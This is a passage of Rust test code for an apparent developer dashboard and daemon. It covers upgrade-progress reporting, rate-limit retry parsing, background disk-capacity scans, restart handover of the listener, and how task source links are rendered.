24162 Some(60)
24163 );
24164 assert_eq!(
24165 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24166 Some(0)
24167 );
24168 for message in [
24169 "permission denied",
24170 "GitHub API rate limit exceeded",
24171 "GitHub rate limit (resets in unknown)",
24172 "GitHub rate limit (resets in 18446744073709551615d)",
24173 ] {
24174 assert_eq!(upgrade_retry_after(message), None, "{message}");
24175 }
24176 }
24177
24178 #[tokio::test]
24179 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24180 let home = TempDir::new().unwrap();
24181 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24182 ui.start_loop(None).unwrap();
24183 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24184 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24185 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24186 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24187 let response = finish_upgrade_request(&ui, result);
24188 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24189 assert_eq!(response.headers()["retry-after"], "120");
24190 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24191 .await
24192 .unwrap();
24193 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24194 assert!(body["error"].as_str().unwrap().contains(reason));
24195 assert_eq!(body["retry_after_secs"], 120);
24196 assert!(body["retry_at"].as_u64().is_some());
24197 for _ in 0..2 {
24198 let view = health(State(ui.clone())).await.unwrap().0;
24199 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24200 assert_eq!(failure, body);
24201 }
24202 assert_eq!(
24203 std::fs::read(updater::progress_path(home.path())).unwrap(),
24204 before
24205 );
24206 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24207 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24208 let gate = ui.upgrade_gate.lock().await;
24210 assert_eq!(
24211 upgrade_post(State(ui.clone())).await.status(),
24212 StatusCode::CONFLICT
24213 );
24214 drop(gate);
24215 assert!(
24216 health(State(ui.clone()))
24217 .await
24218 .unwrap()
24219 .0
24220 .upgrade_request_error
24221 .is_some()
24222 );
24223 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24224 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24225 assert!(
24226 health(State(ui.clone()))
24227 .await
24228 .unwrap()
24229 .0
24230 .upgrade_request_error
24231 .is_none()
24232 );
24233 let live = ui.lock_loop().live.take().unwrap();
24234 live.stop.stop();
24235 live.handle.await.unwrap();
24236 }
24237
24238 #[tokio::test]
24239 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24240 use crate::updater::Stage;
24241 let repo = TempDir::new().expect("repo dir");
24242 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24243 .expect("write magi.toml");
24244 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24245 for stage in [Stage::Done, Stage::Failed] {
24246 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24247 let res = fx.post("/api/upgrade", None).await;
24248 assert_eq!(res.status, 200, "{stage:?}");
24249 }
24250 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24252 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24253 }
24254
24255 #[tokio::test]
24256 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24257 let repo = TempDir::new().expect("repo dir");
24273 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24274 .expect("write magi.toml");
24275 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24276
24277 let res = fx.post("/api/upgrade", None).await;
24283 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24284 let body = res.json();
24285 assert!(body["to"].is_null(), "there was no release to move to");
24286 assert!(body["parked"].is_null(), "and nothing was parked");
24287 assert!(
24288 body["detail"]
24289 .as_str()
24290 .unwrap()
24291 .contains("nothing restarted"),
24292 "{body:?}"
24293 );
24294 }
24295
24296 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24297 tokio::time::timeout(Duration::from_secs(5), async {
24298 while state.lock().unwrap().in_flight {
24299 tokio::task::yield_now().await;
24300 }
24301 })
24302 .await
24303 .expect("capacity scan finished");
24304 }
24305
24306 fn disk_test_scope(home: &FsPath) -> DiskScope {
24307 DiskScope {
24308 runs: home.join("runs"),
24309 worktrees: home.join("worktrees"),
24310 cache: Some(home.join("cache")),
24311 }
24312 }
24313
24314 fn known_disk_capacity() -> DiskCapacity {
24315 DiskCapacity {
24316 free_bytes: Some(100),
24317 runs_bytes: Some(200),
24318 worktrees_bytes: Some(300),
24319 cache_bytes: Some(400),
24320 }
24321 }
24322
24323 #[tokio::test]
24324 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24325 let home = TempDir::new().unwrap();
24326 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24327 let mut ui = delta_test_ui(home.path());
24328 let state = Arc::get_mut(&mut ui).unwrap();
24329 state.repo = home.path().to_owned();
24330 state.worktrees_root = home.path().join("worktrees");
24331 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24332 ui.monitor
24333 .worker_started
24334 .store(true, std::sync::atomic::Ordering::SeqCst);
24335 let cfg = deputy_config(&ui.repo);
24336 let scope = DiskScope::of(&ui, cfg.as_ref());
24337 let (started, reached) = tokio::sync::oneshot::channel();
24338 let (release, blocked) = std::sync::mpsc::channel();
24339 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24340 started.send(()).unwrap();
24341 let _ = blocked.recv();
24343 known_disk_capacity()
24344 });
24345 assert!(cold.runs_bytes.is_none());
24346 tokio::time::timeout(Duration::from_secs(5), reached)
24347 .await
24348 .unwrap()
24349 .unwrap();
24350
24351 let requests: Vec<_> = (0..4)
24352 .map(|_| {
24353 let ui = ui.clone();
24354 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24355 })
24356 .collect();
24357 let completed = tokio::time::timeout(Duration::from_secs(60), async {
24361 for request in requests {
24362 let view = request.await.unwrap();
24363 let disk = serde_json::to_value(view.disk).unwrap();
24364 assert!(disk["runs_bytes"].is_null());
24365 assert!(disk["worktrees_bytes"].is_null());
24366 assert!(disk["free_bytes"].is_u64());
24369 }
24370 })
24371 .await;
24372 if completed.is_err() {
24373 release.send(()).unwrap();
24374 wait_for_disk_scan(&ui.monitor.disk).await;
24375 panic!("health must return while the measurement is causally blocked");
24376 }
24377 assert!(ui.monitor.disk.lock().unwrap().in_flight);
24378 assert!(
24380 ui.monitor
24381 .disk
24382 .lock()
24383 .unwrap()
24384 .capacity
24385 .runs_bytes
24386 .is_none()
24387 );
24388 release.send(()).unwrap();
24389 wait_for_disk_scan(&ui.monitor.disk).await;
24390 assert_eq!(
24391 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24392 Some(200)
24393 );
24394 }
24395
24396 #[tokio::test]
24397 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24398 let home = TempDir::new().unwrap();
24399 let scope = disk_test_scope(home.path());
24400 let state = Arc::new(Mutex::new(DiskObservation {
24401 scope: Some(scope.clone()),
24402 capacity: known_disk_capacity(),
24403 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24404 ..Default::default()
24405 }));
24406 let (started, reached) = tokio::sync::oneshot::channel();
24407 let (release, blocked) = std::sync::mpsc::channel();
24408 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24409 started.send(()).unwrap();
24410 blocked.recv().unwrap();
24411 DiskCapacity {
24412 runs_bytes: Some(250),
24413 ..Default::default()
24414 }
24415 });
24416 assert_eq!(before.cache_bytes, Some(400));
24417 tokio::time::timeout(Duration::from_secs(5), reached)
24418 .await
24419 .unwrap()
24420 .unwrap();
24421 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24422 for _ in 0..4 {
24423 let scans = duplicate_scans.clone();
24424 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24425 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24426 DiskCapacity::default()
24427 });
24428 assert_eq!(during.runs_bytes, Some(200));
24429 assert_eq!(during.cache_bytes, Some(400));
24430 }
24431 release.send(()).unwrap();
24432 wait_for_disk_scan(&state).await;
24433 let scans = duplicate_scans.clone();
24434 let after = DiskObservation::observe(&state, scope, move |_| {
24435 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24436 DiskCapacity::default()
24437 });
24438 wait_for_disk_scan(&state).await;
24439 assert_eq!(after.runs_bytes, Some(250));
24440 assert_eq!(after.free_bytes, Some(100));
24441 assert_eq!(after.cache_bytes, Some(400));
24442 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24443 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24444 }
24445
24446 #[tokio::test]
24447 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24448 let home = TempDir::new().unwrap();
24449 let old_scope = disk_test_scope(home.path());
24450 let mut new_scope = old_scope.clone();
24451 new_scope.cache = Some(home.path().join("replacement-cache"));
24452 let state = Arc::new(Mutex::new(DiskObservation {
24453 scope: Some(old_scope.clone()),
24454 capacity: known_disk_capacity(),
24455 ..Default::default()
24456 }));
24457 let (started, reached) = tokio::sync::oneshot::channel();
24458 let (release, blocked) = std::sync::mpsc::channel();
24459 DiskObservation::observe(&state, old_scope, move |_| {
24460 started.send(()).unwrap();
24461 blocked.recv().unwrap();
24462 known_disk_capacity()
24463 });
24464 tokio::time::timeout(Duration::from_secs(5), reached)
24465 .await
24466 .unwrap()
24467 .unwrap();
24468 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24469 let scans = duplicate_scans.clone();
24470 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24471 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24472 DiskCapacity::default()
24473 });
24474 assert!(changed.cache_bytes.is_none());
24475 assert!(changed.runs_bytes.is_none());
24476 release.send(()).unwrap();
24477 wait_for_disk_scan(&state).await;
24478 {
24479 let observation = state.lock().unwrap();
24480 assert!(observation.capacity.cache_bytes.is_none());
24481 assert!(observation.finished.is_none());
24482 }
24483 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24484 assert_eq!(scope, &new_scope);
24485 DiskCapacity {
24486 cache_bytes: Some(999),
24487 ..Default::default()
24488 }
24489 });
24490 wait_for_disk_scan(&state).await;
24491 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24492 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24493 }
24494
24495 #[tokio::test]
24496 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24497 let home = TempDir::new().unwrap();
24498 let scope = disk_test_scope(home.path());
24499 let state = Arc::new(Mutex::new(DiskObservation {
24500 scope: Some(scope.clone()),
24501 capacity: known_disk_capacity(),
24502 ..Default::default()
24503 }));
24504 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24505 wait_for_disk_scan(&state).await;
24506 {
24507 let mut observation = state.lock().unwrap();
24508 assert_eq!(observation.capacity.cache_bytes, Some(400));
24509 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24510 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24511 }
24512 DiskObservation::observe(&state, scope, |_| DiskCapacity {
24513 cache_bytes: Some(450),
24514 ..Default::default()
24515 });
24516 wait_for_disk_scan(&state).await;
24517 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24518 }
24519
24520 #[test]
24521 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24522 let home = TempDir::new().unwrap();
24523 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24524 assert_eq!(disk_capacity_size(home.path()), Some(0));
24525 std::fs::create_dir(home.path().join("nested")).unwrap();
24526 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24527 assert_eq!(disk_capacity_size(home.path()), Some(5));
24528 #[cfg(unix)]
24529 {
24530 assert_eq!(
24532 disk_capacity_size(&home.path().join("nested/data/child")),
24533 None
24534 );
24535 }
24536 #[cfg(unix)]
24537 {
24538 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24539 assert_eq!(disk_capacity_size(home.path()), Some(5));
24540 }
24541 }
24542
24543 #[tokio::test]
24544 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24545 let repo = TempDir::new().expect("repo dir");
24550 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24551 .expect("write magi.toml");
24552 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24553
24554 let health = fx.get("/api/health").await.json();
24555 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24556 assert_eq!(
24557 health["update"]["available"], false,
24558 "checking is off, which reads as \"unknown\", not \"none\""
24559 );
24560 assert!(health["update"]["to"].is_null());
24561 assert!(
24562 health["upgrade"].is_null(),
24563 "nothing has ever asked this deck to upgrade"
24564 );
24565 }
24566
24567 #[tokio::test]
24568 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24569 let fx = Fixture::start().await;
24570 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24571
24572 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24573 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24574 progress.advance(crate::updater::Stage::Parking);
24575 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24576
24577 let health = fx.get("/api/health").await.json();
24578 assert_eq!(health["upgrade"]["stage"], "parking");
24579 assert_eq!(health["upgrade"]["from"], "0.5.1");
24580 assert_eq!(health["upgrade"]["to"], "0.5.2");
24581 let waiting_on = health["upgrade"]["waiting_on"]
24582 .as_str()
24583 .expect("waiting_on is set while parking a known run");
24584 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24585 assert!(waiting_on.contains("implementing"), "{waiting_on}");
24586 }
24587
24588 #[tokio::test]
24589 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24590 let fx = Fixture::start().await;
24591 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24592 progress.advance(crate::updater::Stage::Done);
24593 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24594
24595 let health = fx.get("/api/health").await.json();
24596 assert_eq!(health["upgrade"]["stage"], "done");
24597 assert!(
24598 health["upgrade"]["waiting_on"].is_null(),
24599 "nothing to wait on once it is done"
24600 );
24601 }
24602
24603 #[tokio::test]
24606 async fn the_handover_signal_wakes_one_waiter_once() {
24607 let signal = Notify::new();
24608 signal.notify_one();
24610 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24611 .await
24612 .expect("an early signal is still seen");
24613 assert!(
24615 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24616 .await
24617 .is_err(),
24618 "a consumed signal must not wake a second time"
24619 );
24620 let signal = std::sync::Arc::new(signal);
24622 let waiter = tokio::spawn({
24623 let signal = std::sync::Arc::clone(&signal);
24624 async move { wait_for_handover(&signal).await }
24625 });
24626 tokio::time::sleep(Duration::from_millis(20)).await;
24627 assert!(!waiter.is_finished(), "nothing was signalled yet");
24628 signal.notify_one();
24629 tokio::time::timeout(Duration::from_secs(5), waiter)
24630 .await
24631 .expect("a late signal wakes the waiter")
24632 .expect("join");
24633 }
24634
24635 #[tokio::test]
24636 async fn health_says_how_long_a_handover_has_been_stuck() {
24637 let fx = Fixture::start().await;
24638 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24639 progress.advance(crate::updater::Stage::Replaced);
24640 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24641 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24642
24643 let health = fx.get("/api/health").await.json();
24644 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24645 assert!(stuck >= 600, "{stuck}");
24646 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24647 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24648 }
24649
24650 #[tokio::test]
24651 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24652 let home = tempfile::tempdir().expect("temp home");
24653 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24654 progress.advance(crate::updater::Stage::Parking);
24655 crate::updater::write_progress(home.path(), &progress).expect("seed");
24656 let mut again = progress.clone();
24658 again.advance(crate::updater::Stage::Replaced);
24659 crate::updater::write_progress(home.path(), &again).expect("replaced");
24660 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24661 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24662 let after = crate::updater::read_progress(home.path()).expect("record");
24663 assert_eq!(after.stage, crate::updater::Stage::Parking);
24664 }
24665
24666 #[tokio::test]
24667 async fn health_does_not_call_a_live_parking_wait_stuck() {
24668 let fx = Fixture::start().await;
24669 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24670 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24671 progress.advance(crate::updater::Stage::Parking);
24672 let hours = Duration::from_secs(3 * 3600);
24673 progress.started_at = Timestamp::now() - hours;
24674 progress.updated_at = Timestamp::now() - hours;
24675 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24676 let _lease = crate::updater::LeaseGuard::enter(
24677 fx.home.path(),
24678 Some("20260905-000000-cd51".to_owned()),
24679 );
24680
24681 let health = fx.get("/api/health").await.json();
24682 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24683 assert!(health["upgrade"]["stuck_kind"].is_null());
24684 assert_eq!(health["upgrade"]["handover_alive"], true);
24685 let waiting_on = health["upgrade"]["waiting_on"]
24686 .as_str()
24687 .expect("waiting_on");
24688 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24689 }
24690
24691 fn idle_ui(home: &TempDir) -> Ui {
24692 let runs = home.path().join("runs");
24693 std::fs::create_dir_all(&runs).expect("runs dir");
24694 Ui::new(
24695 Queue::at(home.path().join("queue")),
24696 Questions::at(home.path().join("questions")),
24697 Talks::at(home.path().join("talks")),
24698 runs,
24699 home.path().to_path_buf(),
24700 PathBuf::from("/repo/magi"),
24701 )
24702 .with_launch(launch_idle)
24703 }
24704
24705 #[tokio::test]
24706 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24707 let home = TempDir::new().expect("temp home");
24708 let ui = idle_ui(&home);
24709 let lease = crate::worker::try_lease(home.path(), "scheduler")
24710 .expect("scheduler lease")
24711 .expect("free");
24712 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24713 .expect("request stop");
24714 let error = ui
24715 .start_detached_loop()
24716 .await
24717 .expect_err("transition is still live");
24718 assert_eq!(error.status, StatusCode::CONFLICT);
24719 assert!(error.message.contains("still running or stopping"));
24720 assert_eq!(
24721 crate::worker::control(home.path(), "scheduler").unwrap(),
24722 Some(crate::worker::Control::Stop)
24723 );
24724 drop(lease);
24725 }
24726
24727 #[tokio::test]
24728 async fn handover_releases_listener_without_waiting_for_execution_leases() {
24729 let home = TempDir::new().expect("temp home");
24730 let ui = idle_ui(&home);
24731 let turns = ui
24732 .begin_talk_turn("active-chat")
24733 .expect("claim")
24734 .expect("free");
24735 let execution = crate::worker::try_lease(home.path(), "active-task")
24736 .expect("execution lease")
24737 .expect("free");
24738 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24739 .await
24740 .expect("bind loopback");
24741 let address = listener.local_addr().expect("address");
24742 let admissions = Arc::clone(&ui.admissions);
24743 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24744 let successor_started = std::sync::atomic::AtomicBool::new(false);
24745 tokio::time::timeout(
24746 Duration::from_secs(2),
24747 hand_over(home.path(), &admissions, served, || {
24748 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24749 Ok(1)
24750 }),
24751 )
24752 .await
24753 .expect("restart must not wait for execution")
24754 .expect("handover");
24755 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24756 let successor = bind_waiting(address)
24759 .await
24760 .expect("successor binds released address");
24761 assert_eq!(successor.local_addr().unwrap(), address);
24762 assert!(turns.owns(), "the chat lease survives restart");
24763 assert!(
24764 crate::worker::try_lease(home.path(), "active-task")
24765 .unwrap()
24766 .is_none()
24767 );
24768 drop(execution);
24769 drop(turns);
24770 }
24771
24772 #[tokio::test]
24773 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24774 let home = TempDir::new().expect("temp home");
24775 let ui = idle_ui(&home);
24776 let admission = ui.begin_admission().expect("admit send");
24777 let turn = ui
24778 .begin_talk_turn("active-chat")
24779 .expect("claim")
24780 .expect("free");
24781 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24782 .await
24783 .expect("bind loopback");
24784 let address = listener.local_addr().expect("address");
24785 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24786 let successor_called = std::sync::atomic::AtomicBool::new(false);
24787 let handover = hand_over(home.path(), &ui.admissions, served, || {
24788 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24789 Ok(1)
24790 });
24791 tokio::pin!(handover);
24792 std::future::poll_fn(|cx| {
24795 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24796 std::task::Poll::Ready(())
24797 })
24798 .await;
24799 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24800 assert!(
24801 ui.begin_admission().is_err(),
24802 "new ingress cannot race the drain"
24803 );
24804 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24805 drop(admission);
24806 tokio::time::timeout(Duration::from_secs(2), handover)
24807 .await
24808 .expect("only publication may delay restart")
24809 .expect("handover");
24810 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24811 assert!(
24812 turn.owns(),
24813 "the detached chat turn is not awaited or cancelled"
24814 );
24815 assert!(
24816 ui.begin_admission().is_err(),
24817 "old accepted connections stay closed"
24818 );
24819 drop(turn);
24820 }
24821
24822 #[test]
24823 fn health_worker_metadata_never_contains_payload_or_result() {
24824 let view = WorkerView::from(crate::worker::Job {
24825 id: "job".into(),
24826 sequence: 1,
24827 kind: "service".into(),
24828 key: "maintenance".into(),
24829 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24830 generation: "generation".into(),
24831 version: Some("1.2.3".into()),
24832 status: crate::worker::Status::Running,
24833 result: Some("private diagnostics".into()),
24834 pid: Some(4242),
24835 created_at: 1,
24836 finished_at: None,
24837 });
24838 let value = serde_json::to_value(view).expect("serialize public metadata");
24839 assert_eq!(value["version"], "1.2.3");
24840 assert_eq!(value["pid"], 4242);
24841 assert!(value.get("payload").is_none());
24842 assert!(value.get("result").is_none());
24843 assert!(!value.to_string().contains("private"));
24844 }
24845
24846 #[test]
24847 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24848 let home = TempDir::new().expect("temp home");
24849 let ui = idle_ui(&home);
24850 std::fs::write(
24851 home.path().join("daemon.json"),
24852 serde_json::json!({
24853 "schema": 2, "pid": 4242, "worker_protocol": 1,
24854 "updated_at": Timestamp::now().to_string(), "idle": true,
24855 })
24856 .to_string(),
24857 )
24858 .expect("status");
24859 let reading = daemon::read_status(home.path());
24860 assert!(Foreign::of(reading.as_ref()).is_none());
24861 let view = ui.runtime_loop_view(reading, &[]);
24862 assert!(view.running);
24863 assert!(view.owned);
24864 }
24865
24866 #[test]
24867 fn only_an_explicit_one_requests_a_resume() {
24868 assert!(!resume_requested(None));
24869 assert!(!resume_requested(Some("0".into())));
24870 assert!(!resume_requested(Some("".into())));
24871 assert!(resume_requested(Some("1".into())));
24872 }
24873
24874 #[test]
24875 fn an_error_is_visible_from_where_the_button_is() {
24876 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24881 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24882 assert!(
24883 alert.contains("position: fixed"),
24884 "an error about the thing under your thumb has to be visible from \
24885 where your thumb is: {alert}"
24886 );
24887 assert!(
24888 alert.contains("z-index: 25"),
24889 "above the dock (20) and the run-actions FAB (15), so neither \
24890 buries it: {alert}"
24891 );
24892 assert!(
24893 alert.contains("var(--tap)"),
24894 "and clear of the dock and the home indicator: {alert}"
24895 );
24896 assert!(
24899 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24900 "the FAB's column stays free: {alert}"
24901 );
24902 }
24903
24904 #[tokio::test]
24905 async fn an_older_attempt_says_what_replaced_it() {
24906 let fx = Fixture::start().await;
24907 let q = fx.queue();
24908 let runs = fx.runs();
24909 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24910 write_run(&runs, first, RunStatus::Stalled);
24911 write_run(&runs, second, RunStatus::Blocked);
24912
24913 let mut t = Task::new(
24914 "one task".to_owned(),
24915 "do it".to_owned(),
24916 PathBuf::from("/repo"),
24917 Source::Human,
24918 );
24919 t.runs = vec![first.to_owned(), second.to_owned()];
24920 q.put(&mut t).expect("put");
24921
24922 let rows = fx.get("/api/runs").await.json();
24926 let by = |short: &str| -> Value {
24927 rows.as_array()
24928 .unwrap()
24929 .iter()
24930 .find(|r| r["short"] == short)
24931 .cloned()
24932 .unwrap_or(Value::Null)
24933 };
24934 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24935 assert!(
24936 by("bbbb")["superseded_by"].is_null(),
24937 "the latest attempt is not superseded by anything"
24938 );
24939 assert!(APP_JS.contains("run.superseded_by"));
24941 assert!(APP_JS.contains("Superseded by"));
24942 }
24943
24944 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24945 let mut t = Task::new(
24946 "one task".to_owned(),
24947 "do it".to_owned(),
24948 PathBuf::from("/repo"),
24949 Source::Human,
24950 );
24951 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24952 t.status = status;
24953 t
24954 }
24955
24956 #[test]
24957 fn source_link_picks_the_page_that_filed_the_task() {
24958 let agent = |node: &str| Source::Agent {
24959 run: "20260904-014455-ab12".to_owned(),
24960 node: node.to_owned(),
24961 };
24962 let chat = source_link(&agent("chat")).expect("chat link");
24963 assert_eq!(chat.kind, "chat");
24964 assert_eq!(chat.id, "20260904-014455-ab12");
24965 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24966 let run = source_link(&agent("implement")).expect("run link");
24967 assert_eq!(
24968 (run.kind, run.href.as_str()),
24969 ("run", "#/runs/20260904-014455-ab12")
24970 );
24971 assert_eq!(source_link(&Source::Human), None);
24972 assert_eq!(
24973 source_link(&Source::Issue {
24974 number: 3,
24975 repo: "o/r".to_owned()
24976 }),
24977 None
24978 );
24979 let odd = source_link(&Source::Agent {
24980 run: "a b/c".to_owned(),
24981 node: "chat".to_owned(),
24982 })
24983 .expect("link");
24984 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24985 }
24986
24987 #[test]
24988 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24989 assert!(
24990 !APP_JS.contains("src.node === \"chat\""),
24991 "inline href rule is back"
24992 );
24993 assert!(
24994 APP_JS.matches("sourceLinkOf(").count() >= 4,
24995 "helper must serve every page"
24996 );
24997 assert!(
24998 APP_JS.matches("openChatLink(").count() >= 3,
24999 "the run page still needs its explicit chat link"
25000 );
25001 assert!(
25002 !APP_JS.contains("const openChat = el("),
25003 "the Queue card duplicates its source label link again"
25004 );
25005 assert!(
25006 APP_JS.contains("metaKids.push(link ? el(\"a\""),
25007 "the task page must link a chat source label too"
25008 );
25009 }
25010
25011 #[test]
25012 fn task_ref_carries_the_source_link_for_a_chat_task() {
25013 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25014 t.source = Source::Agent {
25015 run: "20260904-014455-ab12".to_owned(),
25016 node: "chat".to_owned(),
25017 };
25018 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25019 let v = serde_json::to_value(&out).expect("json");
25020 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25021 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25022 assert_eq!(v["source_label"], t.source.label());
25023
25024 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25025 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25026 .expect("json");
25027 assert!(v["source_link"].is_null(), "{v}");
25028 }
25029
25030 #[test]
25031 fn task_view_serializes_source_link() {
25032 let mut t = Task::new(
25033 "t".to_owned(),
25034 "t".to_owned(),
25035 PathBuf::from("/repo"),
25036 Source::Agent {
25037 run: "20260901-000000-aaaa".to_owned(),
25038 node: "implement".to_owned(),
25039 },
25040 );
25041 t.runs.clear();
25042 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25043 assert_eq!(v["source_link"]["kind"], "run", "{v}");
25044 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25045 }
25046
25047 #[test]
25048 fn task_view_serializes_urgent_flag() {
25049 let mut t = Task::new(
25050 "t".to_owned(),
25051 "t".to_owned(),
25052 PathBuf::from("/repo"),
25053 Source::Human,
25054 );
25055 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25056 assert_eq!(v["urgent"], false, "{v}");
25057 t.urgent = true;
25058 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25059 assert_eq!(v["urgent"], true, "{v}");
